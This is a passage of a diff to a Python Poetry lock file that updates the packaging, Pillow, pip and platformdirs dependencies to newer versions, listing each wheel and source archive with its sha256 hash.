hash = "sha256:714ac14496c3e68c99c29b00845f7a2b85f3bb6f1078fd9f72fd20f0570002b2"}, - {file = "packaging-23.0.tar.gz", hash = "sha256:b6ad297f8907de0fa2fe1ccbd26fdaf387f5f47c7275fedf8cce89f99446cf97"}, + {file = "packaging-23.1-py3-none-any.whl", hash = "sha256:994793af429502c4ea2ebf6bf664629d07c1a9fe974af92966e4b8d2df7edc61"}, + {file = "packaging-23.1.tar.gz", hash = "sha256:a392980d2b6cffa644431898be54b0045151319d1e7ec34f0cfed48767dd334f"}, ] [[package]] @@ -1512,125 +1489,114 @@ files = [ [[package]] name = "pillow" -version = "9.4.0" +version = "9.5.0" description = "Python Imaging Library (Fork)" category = "main" optional = false python-versions = ">=3.7" files = [ - {file = "Pillow-9.4.0-1-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:1b4b4e9dda4f4e4c4e6896f93e84a8f0bcca3b059de9ddf67dac3c334b1195e1"}, - {file = "Pillow-9.4.0-1-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:fb5c1ad6bad98c57482236a21bf985ab0ef42bd51f7ad4e4538e89a997624e12"}, - {file = "Pillow-9.4.0-1-cp37-cp37m-macosx_10_10_x86_64.whl", hash = "sha256:f0caf4a5dcf610d96c3bd32932bfac8aee61c96e60481c2a0ea58da435e25acd"}, - {file = "Pillow-9.4.0-1-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:3f4cc516e0b264c8d4ccd6b6cbc69a07c6d582d8337df79be1e15a5056b258c9"}, - {file = "Pillow-9.4.0-1-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:b8c2f6eb0df979ee99433d8b3f6d193d9590f735cf12274c108bd954e30ca858"}, - {file = "Pillow-9.4.0-1-pp38-pypy38_pp73-macosx_10_10_x86_64.whl", hash = "sha256:b70756ec9417c34e097f987b4d8c510975216ad26ba6e57ccb53bc758f490dab"}, - {file = "Pillow-9.4.0-1-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:43521ce2c4b865d385e78579a082b6ad1166ebed2b1a2293c3be1d68dd7ca3b9"}, - {file = "Pillow-9.4.0-2-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:9d9a62576b68cd90f7075876f4e8444487db5eeea0e4df3ba298ee38a8d067b0"}, - {file = "Pillow-9.4.0-2-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:87708d78a14d56a990fbf4f9cb350b7d89ee8988705e58e39bdf4d82c149210f"}, - {file = "Pillow-9.4.0-2-cp37-cp37m-macosx_10_10_x86_64.whl", hash = "sha256:8a2b5874d17e72dfb80d917213abd55d7e1ed2479f38f001f264f7ce7bae757c"}, - {file = "Pillow-9.4.0-2-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:83125753a60cfc8c412de5896d10a0a405e0bd88d0470ad82e0869ddf0cb3848"}, - {file = "Pillow-9.4.0-2-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:9e5f94742033898bfe84c93c831a6f552bb629448d4072dd312306bab3bd96f1"}, - {file = "Pillow-9.4.0-2-pp38-pypy38_pp73-macosx_10_10_x86_64.whl", hash = "sha256:013016af6b3a12a2f40b704677f8b51f72cb007dac785a9933d5c86a72a7fe33"}, - {file = "Pillow-9.4.0-2-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:99d92d148dd03fd19d16175b6d355cc1b01faf80dae93c6c3eb4163709edc0a9"}, - {file = "Pillow-9.4.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:2968c58feca624bb6c8502f9564dd187d0e1389964898f5e9e1fbc8533169157"}, - {file = "Pillow-9.4.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c5c1362c14aee73f50143d74389b2c158707b4abce2cb055b7ad37ce60738d47"}, - {file = "Pillow-9.4.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bd752c5ff1b4a870b7661234694f24b1d2b9076b8bf337321a814c612665f343"}, - {file = "Pillow-9.4.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9a3049a10261d7f2b6514d35bbb7a4dfc3ece4c4de14ef5876c4b7a23a0e566d"}, - {file = "Pillow-9.4.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:16a8df99701f9095bea8a6c4b3197da105df6f74e6176c5b410bc2df2fd29a57"}, - {file = "Pillow-9.4.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:94cdff45173b1919350601f82d61365e792895e3c3a3443cf99819e6fbf717a5"}, - {file = "Pillow-9.4.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:ed3e4b4e1e6de75fdc16d3259098de7c6571b1a6cc863b1a49e7d3d53e036070"}, - {file = "Pillow-9.4.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d5b2f8a31bd43e0f18172d8ac82347c8f37ef3e0b414431157718aa234991b28"}, - {file = "Pillow-9.4.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:09b89ddc95c248ee788328528e6a2996e09eaccddeeb82a5356e92645733be35"}, - {file = "Pillow-9.4.0-cp310-cp310-win32.whl", hash = "sha256:f09598b416ba39a8f489c124447b007fe865f786a89dbfa48bb5cf395693132a"}, - {file = "Pillow-9.4.0-cp310-cp310-win_amd64.whl", hash = "sha256:f6e78171be3fb7941f9910ea15b4b14ec27725865a73c15277bc39f5ca4f8391"}, - {file = "Pillow-9.4.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:3fa1284762aacca6dc97474ee9c16f83990b8eeb6697f2ba17140d54b453e133"}, - {file = "Pillow-9.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:eaef5d2de3c7e9b21f1e762f289d17b726c2239a42b11e25446abf82b26ac132"}, - {file = "Pillow-9.4.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a4dfdae195335abb4e89cc9762b2edc524f3c6e80d647a9a81bf81e17e3fb6f0"}, - {file = "Pillow-9.4.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6abfb51a82e919e3933eb137e17c4ae9c0475a25508ea88993bb59faf82f3b35"}, - {file = "Pillow-9.4.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:451f10ef963918e65b8869e17d67db5e2f4ab40e716ee6ce7129b0cde2876eab"}, - {file = "Pillow-9.4.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:6663977496d616b618b6cfa43ec86e479ee62b942e1da76a2c3daa1c75933ef4"}, - {file = "Pillow-9.4.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:60e7da3a3ad1812c128750fc1bc14a7ceeb8d29f77e0a2356a8fb2aa8925287d"}, - {file = "Pillow-9.4.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:19005a8e58b7c1796bc0167862b1f54a64d3b44ee5d48152b06bb861458bc0f8"}, - {file = "Pillow-9.4.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f715c32e774a60a337b2bb8ad9839b4abf75b267a0f18806f6f4f5f1688c4b5a"}, - {file = "Pillow-9.4.0-cp311-cp311-win32.whl", hash = "sha256:b222090c455d6d1a64e6b7bb5f4035c4dff479e22455c9eaa1bdd4c75b52c80c"}, - {file = "Pillow-9.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:ba6612b6548220ff5e9df85261bddc811a057b0b465a1226b39bfb8550616aee"}, - {file = "Pillow-9.4.0-cp37-cp37m-macosx_10_10_x86_64.whl", hash = "sha256:5f532a2ad4d174eb73494e7397988e22bf427f91acc8e6ebf5bb10597b49c493"}, - {file = "Pillow-9.4.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5dd5a9c3091a0f414a963d427f920368e2b6a4c2f7527fdd82cde8ef0bc7a327"}, - {file = "Pillow-9.4.0-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ef21af928e807f10bf4141cad4746eee692a0dd3ff56cfb25fce076ec3cc8abe"}, - {file = "Pillow-9.4.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:847b114580c5cc9ebaf216dd8c8dbc6b00a3b7ab0131e173d7120e6deade1f57"}, - {file = "Pillow-9.4.0-cp37-cp37m-manylinux_2_28_aarch64.whl", hash = "sha256:653d7fb2df65efefbcbf81ef5fe5e5be931f1ee4332c2893ca638c9b11a409c4"}, - {file = "Pillow-9.4.0-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:46f39cab8bbf4a384ba7cb0bc8bae7b7062b6a11cfac1ca4bc144dea90d4a9f5"}, - {file = "Pillow-9.4.0-cp37-cp37m-win32.whl", hash = "sha256:7ac7594397698f77bce84382929747130765f66406dc2cd8b4ab4da68ade4c6e"}, - {file = "Pillow-9.4.0-cp37-cp37m-win_amd64.whl", hash = "sha256:46c259e87199041583658457372a183636ae8cd56dbf3f0755e0f376a7f9d0e6"}, - {file = "Pillow-9.4.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:0e51f608da093e5d9038c592b5b575cadc12fd748af1479b5e858045fff955a9"}, - {file = "Pillow-9.4.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:765cb54c0b8724a7c12c55146ae4647e0274a839fb6de7bcba841e04298e1011"}, - {file = "Pillow-9.4.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:519e14e2c49fcf7616d6d2cfc5c70adae95682ae20f0395e9280db85e8d6c4df"}, - {file = "Pillow-9.4.0-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d197df5489004db87d90b918033edbeee0bd6df3848a204bca3ff0a903bef837"}, - {file = "Pillow-9.4.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0845adc64fe9886db00f5ab68c4a8cd933ab749a87747555cec1c95acea64b0b"}, - {file = "Pillow-9.4.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:e1339790c083c5a4de48f688b4841f18df839eb3c9584a770cbd818b33e26d5d"}, - {file = "Pillow-9.4.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:a96e6e23f2b79433390273eaf8cc94fec9c6370842e577ab10dabdcc7ea0a66b"}, - {file = "Pillow-9.4.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:7cfc287da09f9d2a7ec146ee4d72d6ea1342e770d975e49a8621bf54eaa8f30f"}, - {file = "Pillow-9.4.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:d7081c084ceb58278dd3cf81f836bc818978c0ccc770cbbb202125ddabec6628"}, - {file = "Pillow-9.4.0-cp38-cp38-win32.whl", hash = "sha256:df41112ccce5d47770a0c13651479fbcd8793f34232a2dd9faeccb75eb5d0d0d"}, - {file = "Pillow-9.4.0-cp38-cp38-win_amd64.whl", hash = "sha256:7a21222644ab69ddd9967cfe6f2bb420b460dae4289c9d40ff9a4896e7c35c9a"}, - {file = "Pillow-9.4.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:0f3269304c1a7ce82f1759c12ce731ef9b6e95b6df829dccd9fe42912cc48569"}, - {file = "Pillow-9.4.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:cb362e3b0976dc994857391b776ddaa8c13c28a16f80ac6522c23d5257156bed"}, - {file = "Pillow-9.4.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a2e0f87144fcbbe54297cae708c5e7f9da21a4646523456b00cc956bd4c65815"}, - {file = "Pillow-9.4.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:28676836c7796805914b76b1837a40f76827ee0d5398f72f7dcc634bae7c6264"}, - {file = "Pillow-9.4.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0884ba7b515163a1a05440a138adeb722b8a6ae2c2b33aea93ea3118dd3a899e"}, - {file = "Pillow-9.4.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:53dcb50fbdc3fb2c55431a9b30caeb2f7027fcd2aeb501459464f0214200a503"}, - {file = "Pillow-9.4.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:e8c5cf126889a4de385c02a2c3d3aba4b00f70234bfddae82a5eaa3ee6d5e3e6"}, - {file = "Pillow-9.4.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:6c6b1389ed66cdd174d040105123a5a1bc91d0aa7059c7261d20e583b6d8cbd2"}, - {file = "Pillow-9.4.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:0dd4c681b82214b36273c18ca7ee87065a50e013112eea7d78c7a1b89a739153"}, - {file = "Pillow-9.4.0-cp39-cp39-win32.whl", hash = "sha256:6d9dfb9959a3b0039ee06c1a1a90dc23bac3b430842dcb97908ddde05870601c"}, - {file = "Pillow-9.4.0-cp39-cp39-win_amd64.whl", hash = "sha256:54614444887e0d3043557d9dbc697dbb16cfb5a35d672b7a0fcc1ed0cf1c600b"}, - {file = "Pillow-9.4.0-pp38-pypy38_pp73-macosx_10_10_x86_64.whl", hash = "sha256:b9b752ab91e78234941e44abdecc07f1f0d8f51fb62941d32995b8161f68cfe5"}, - {file = "Pillow-9.4.0-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d3b56206244dc8711f7e8b7d6cad4663917cd5b2d950799425076681e8766286"}, - {file = "Pillow-9.4.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aabdab8ec1e7ca7f1434d042bf8b1e92056245fb179790dc97ed040361f16bfd"}, - {file = "Pillow-9.4.0-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:db74f5562c09953b2c5f8ec4b7dfd3f5421f31811e97d1dbc0a7c93d6e3a24df"}, - {file = "Pillow-9.4.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:e9d7747847c53a16a729b6ee5e737cf170f7a16611c143d95aa60a109a59c336"}, - {file = "Pillow-9.4.0-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:b52ff4f4e002f828ea6483faf4c4e8deea8d743cf801b74910243c58acc6eda3"}, - {file = "Pillow-9.4.0-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:575d8912dca808edd9acd6f7795199332696d3469665ef26163cd090fa1f8bfa"}, - {file = "Pillow-9.4.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c3c4ed2ff6760e98d262e0cc9c9a7f7b8a9f61aa4d47c58835cdaf7b0b8811bb"}, - {file = "Pillow-9.4.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:e621b0246192d3b9cb1dc62c78cfa4c6f6d2ddc0ec207d43c0dedecb914f152a"}, - {file = "Pillow-9.4.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:8f127e7b028900421cad64f51f75c051b628db17fb00e099eb148761eed598c9"}, - {file = "Pillow-9.4.0.tar.gz", hash = "sha256:a1c2d7780448eb93fbcc3789bf3916aa5720d942e37945f4056680317f1cd23e"}, + {file = "Pillow-9.5.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:ace6ca218308447b9077c14ea4ef381ba0b67ee78d64046b3f19cf4e1139ad16"}, + {file = "Pillow-9.5.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d3d403753c9d5adc04d4694d35cf0391f0f3d57c8e0030aac09d7678fa8030aa"}, + {file = "Pillow-9.5.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5ba1b81ee69573fe7124881762bb4cd2e4b6ed9dd28c9c60a632902fe8db8b38"}, + {file = "Pillow-9.5.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fe7e1c262d3392afcf5071df9afa574544f28eac825284596ac6db56e6d11062"}, + {file = "Pillow-9.5.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f36397bf3f7d7c6a3abdea815ecf6fd14e7fcd4418ab24bae01008d8d8ca15e"}, + {file = "Pillow-9.5.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:252a03f1bdddce077eff2354c3861bf437c892fb1832f75ce813ee94347aa9b5"}, + {file = "Pillow-9.5.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:85ec677246533e27770b0de5cf0f9d6e4ec0c212a1f89dfc941b64b21226009d"}, + {file = "Pillow-9.5.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:b416f03d37d27290cb93597335a2f85ed446731200705b22bb927405320de903"}, + {file = "Pillow-9.5.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:1781a624c229cb35a2ac31cc4a77e28cafc8900733a864870c49bfeedacd106a"}, + {file = "Pillow-9.5.0-cp310-cp310-win32.whl", hash = "sha256:8507eda3cd0608a1f94f58c64817e83ec12fa93a9436938b191b80d9e4c0fc44"}, + {file = "Pillow-9.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:d3c6b54e304c60c4181da1c9dadf83e4a54fd266a99c70ba646a9baa626819eb"}, + {file = "Pillow-9.5.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:7ec6f6ce99dab90b52da21cf0dc519e21095e332ff3b399a357c187b1a5eee32"}, + {file = "Pillow-9.5.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:560737e70cb9c6255d6dcba3de6578a9e2ec4b573659943a5e7e4af13f298f5c"}, + {file = "Pillow-9.5.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:96e88745a55b88a7c64fa49bceff363a1a27d9a64e04019c2281049444a571e3"}, + {file = "Pillow-9.5.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d9c206c29b46cfd343ea7cdfe1232443072bbb270d6a46f59c259460db76779a"}, + {file = "Pillow-9.5.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cfcc2c53c06f2ccb8976fb5c71d448bdd0a07d26d8e07e321c103416444c7ad1"}, + {file = "Pillow-9.5.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:a0f9bb6c80e6efcde93ffc51256d5cfb2155ff8f78292f074f60f9e70b942d99"}, + {file = "Pillow-9.5.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:8d935f924bbab8f0a9a28404422da8af4904e36d5c33fc6f677e4c4485515625"}, + {file = "Pillow-9.5.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:fed1e1cf6a42577953abbe8e6cf2fe2f566daebde7c34724ec8803c4c0cda579"}, + {file = "Pillow-9.5.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c1170d6b195555644f0616fd6ed929dfcf6333b8675fcca044ae5ab110ded296"}, + {file = "Pillow-9.5.0-cp311-cp311-win32.whl", hash = "sha256:54f7102ad31a3de5666827526e248c3530b3a33539dbda27c6843d19d72644ec"}, + {file = "Pillow-9.5.0-cp311-cp311-win_amd64.whl", hash = "sha256:cfa4561277f677ecf651e2b22dc43e8f5368b74a25a8f7d1d4a3a243e573f2d4"}, + {file = "Pillow-9.5.0-cp311-cp311-win_arm64.whl", hash = "sha256:965e4a05ef364e7b973dd17fc765f42233415974d773e82144c9bbaaaea5d089"}, + {file = "Pillow-9.5.0-cp312-cp312-win32.whl", hash = "sha256:22baf0c3cf0c7f26e82d6e1adf118027afb325e703922c8dfc1d5d0156bb2eeb"}, + {file = "Pillow-9.5.0-cp312-cp312-win_amd64.whl", hash = "sha256:432b975c009cf649420615388561c0ce7cc31ce9b2e374db659ee4f7d57a1f8b"}, + {file = "Pillow-9.5.0-cp37-cp37m-macosx_10_10_x86_64.whl", hash = "sha256:5d4ebf8e1db4441a55c509c4baa7a0587a0210f7cd25fcfe74dbbce7a4bd1906"}, + {file = "Pillow-9.5.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:375f6e5ee9620a271acb6820b3d1e94ffa8e741c0601db4c0c4d3cb0a9c224bf"}, + {file = "Pillow-9.5.0-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:99eb6cafb6ba90e436684e08dad8be1637efb71c4f2180ee6b8f940739406e78"}, + {file = "Pillow-9.5.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2dfaaf10b6172697b9bceb9a3bd7b951819d1ca339a5ef294d1f1ac6d7f63270"}, + {file = "Pillow-9.5.0-cp37-cp37m-manylinux_2_28_aarch64.whl", hash = "sha256:763782b2e03e45e2c77d7779875f4432e25121ef002a41829d8868700d119392"}, + {file = "Pillow-9.5.0-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:35f6e77122a0c0762268216315bf239cf52b88865bba522999dc38f1c52b9b47"}, + {file = "Pillow-9.5.0-cp37-cp37m-win32.whl", hash = "sha256:aca1c196f407ec7cf04dcbb15d19a43c507a81f7ffc45b690899d6a76ac9fda7"}, + {file = "Pillow-9.5.0-cp37-cp37m-win_amd64.whl", hash = "sha256:322724c0032af6692456cd6ed554bb85f8149214d97398bb80613b04e33769f6"}, + {file = "Pillow-9.5.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:a0aa9417994d91301056f3d0038af1199eb7adc86e646a36b9e050b06f526597"}, + {file = "Pillow-9.5.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:f8286396b351785801a976b1e85ea88e937712ee2c3ac653710a4a57a8da5d9c"}, + {file = "Pillow-9.5.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c830a02caeb789633863b466b9de10c015bded434deb3ec87c768e53752ad22a"}, + {file = "Pillow-9.5.0-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fbd359831c1657d69bb81f0db962905ee05e5e9451913b18b831febfe0519082"}, + {file = "Pillow-9.5.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f8fc330c3370a81bbf3f88557097d1ea26cd8b019d6433aa59f71195f5ddebbf"}, + {file = "Pillow-9.5.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:7002d0797a3e4193c7cdee3198d7c14f92c0836d6b4a3f3046a64bd1ce8df2bf"}, + {file = "Pillow-9.5.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:229e2c79c00e85989a34b5981a2b67aa079fd08c903f0aaead522a1d68d79e51"}, + {file = "Pillow-9.5.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:9adf58f5d64e474bed00d69bcd86ec4bcaa4123bfa70a65ce72e424bfb88ed96"}, + {file = "Pillow-9.5.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:662da1f3f89a302cc22faa9f14a262c2e3951f9dbc9617609a47521c69dd9f8f"}, + {file = "Pillow-9.5.0-cp38-cp38-win32.whl", hash = "sha256:6608ff3bf781eee0cd14d0901a2b9cc3d3834516532e3bd673a0a204dc8615fc"}, + {file = "Pillow-9.5.0-cp38-cp38-win_amd64.whl", hash = "sha256:e49eb4e95ff6fd7c0c402508894b1ef0e01b99a44320ba7d8ecbabefddcc5569"}, + {file = "Pillow-9.5.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:482877592e927fd263028c105b36272398e3e1be3269efda09f6ba21fd83ec66"}, + {file = "Pillow-9.5.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:3ded42b9ad70e5f1754fb7c2e2d6465a9c842e41d178f262e08b8c85ed8a1d8e"}, + {file = "Pillow-9.5.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c446d2245ba29820d405315083d55299a796695d747efceb5717a8b450324115"}, + {file = "Pillow-9.5.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8aca1152d93dcc27dc55395604dcfc55bed5f25ef4c98716a928bacba90d33a3"}, + {file = "Pillow-9.5.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:608488bdcbdb4ba7837461442b90ea6f3079397ddc968c31265c1e056964f1ef"}, + {file = "Pillow-9.5.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:60037a8db8750e474af7ffc9faa9b5859e6c6d0a50e55c45576bf28be7419705"}, + {file = "Pillow-9.5.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:07999f5834bdc404c442146942a2ecadd1cb6292f5229f4ed3b31e0a108746b1"}, + {file = "Pillow-9.5.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:a127ae76092974abfbfa38ca2d12cbeddcdeac0fb71f9627cc1135bedaf9d51a"}, + {file = "Pillow-9.5.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:489f8389261e5ed43ac8ff7b453162af39c3e8abd730af8363587ba64bb2e865"}, + {file = "Pillow-9.5.0-cp39-cp39-win32.whl", hash = "sha256:9b1af95c3a967bf1da94f253e56b6286b50af23392a886720f563c547e48e964"}, + {file = "Pillow-9.5.0-cp39-cp39-win_amd64.whl", hash = "sha256:77165c4a5e7d5a284f10a6efaa39a0ae8ba839da344f20b111d62cc932fa4e5d"}, + {file = "Pillow-9.5.0-pp38-pypy38_pp73-macosx_10_10_x86_64.whl", hash = "sha256:833b86a98e0ede388fa29363159c9b1a294b0905b5128baf01db683672f230f5"}, + {file = "Pillow-9.5.0-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aaf305d6d40bd9632198c766fb64f0c1a83ca5b667f16c1e79e1661ab5060140"}, + {file = "Pillow-9.5.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0852ddb76d85f127c135b6dd1f0bb88dbb9ee990d2cd9aa9e28526c93e794fba"}, + {file = "Pillow-9.5.0-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:91ec6fe47b5eb5a9968c79ad9ed78c342b1f97a091677ba0e012701add857829"}, + {file = "Pillow-9.5.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:cb841572862f629b99725ebaec3287fc6d275be9b14443ea746c1dd325053cbd"}, + {file = "Pillow-9.5.0-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:c380b27d041209b849ed246b111b7c166ba36d7933ec6e41175fd15ab9eb1572"}, + {file = "Pillow-9.5.0-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7c9af5a3b406a50e313467e3565fc99929717f780164fe6fbb7704edba0cebbe"}, + {file = "Pillow-9.5.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5671583eab84af046a397d6d0ba25343c00cd50bce03787948e0fff01d4fd9b1"}, + {file = "Pillow-9.5.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:84a6f19ce086c1bf894644b43cd129702f781ba5751ca8572f08aa40ef0ab7b7"}, + {file = "Pillow-9.5.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:1e7723bd90ef94eda669a3c2c19d549874dd5badaeefabefd26053304abe5799"}, + {file = "Pillow-9.5.0.tar.gz", hash = "sha256:bf548479d336726d7a0eceb6e767e179fbde37833ae42794602631a070d630f1"}, ] [package.extras] -docs = ["furo", "olefile", "sphinx (>=2.4)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinx-issues (>=3.0.1)", "sphinx-removed-in", "sphinxext-opengraph"] +docs = ["furo", "olefile", "sphinx (>=2.4)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinx-removed-in", "sphinxext-opengraph"] tests = ["check-manifest", "coverage", "defusedxml", "markdown2", "olefile", "packaging", "pyroma", "pytest", "pytest-cov", "pytest-timeout"] [[package]] name = "pip" -version = "23.0.1" +version = "23.1.2" description = "The PyPA recommended tool for installing Python packages." category = "dev" optional = false python-versions = ">=3.7" files = [ - {file = "pip-23.0.1-py3-none-any.whl", hash = "sha256:236bcb61156d76c4b8a05821b988c7b8c35bf0da28a4b614e8d6ab5212c25c6f"}, - {file = "pip-23.0.1.tar.gz", hash = "sha256:cd015ea1bfb0fcef59d8a286c1f8bebcb983f6317719d415dc5351efb7cd7024"}, + {file = "pip-23.1.2-py3-none-any.whl", hash = "sha256:3ef6ac33239e4027d9a5598a381b9d30880a1477e50039db2eac6e8a8f6d1b18"}, + {file = "pip-23.1.2.tar.gz", hash = "sha256:0e7c86f486935893c708287b30bd050a36ac827ec7fe5e43fe7cb198dd835fba"}, ] [[package]] name = "platformdirs" -version = "3.2.0" +version = "3.5.1" description = "A small Python package for determining appropriate platform-specific dirs, e.g. a \"user data dir\"." category = "dev" optional = false python-versions = ">=3.7" files = [ - {file = "platformdirs-3.2.0-py3-none-any.whl", hash = "sha256:ebe11c0d7a805086e99506aa331612429a72ca7cd52a1f0d277dc4adc20cb10e"}, - {file = "platformdirs-3.2.0.tar.gz", hash = "sha256:d5b638ca397f25f979350ff789db335903d7ea010ab28903f57b27e1b16c2b08"}, + {file = "platformdirs-3.5.1-py3-none-any.whl", hash = 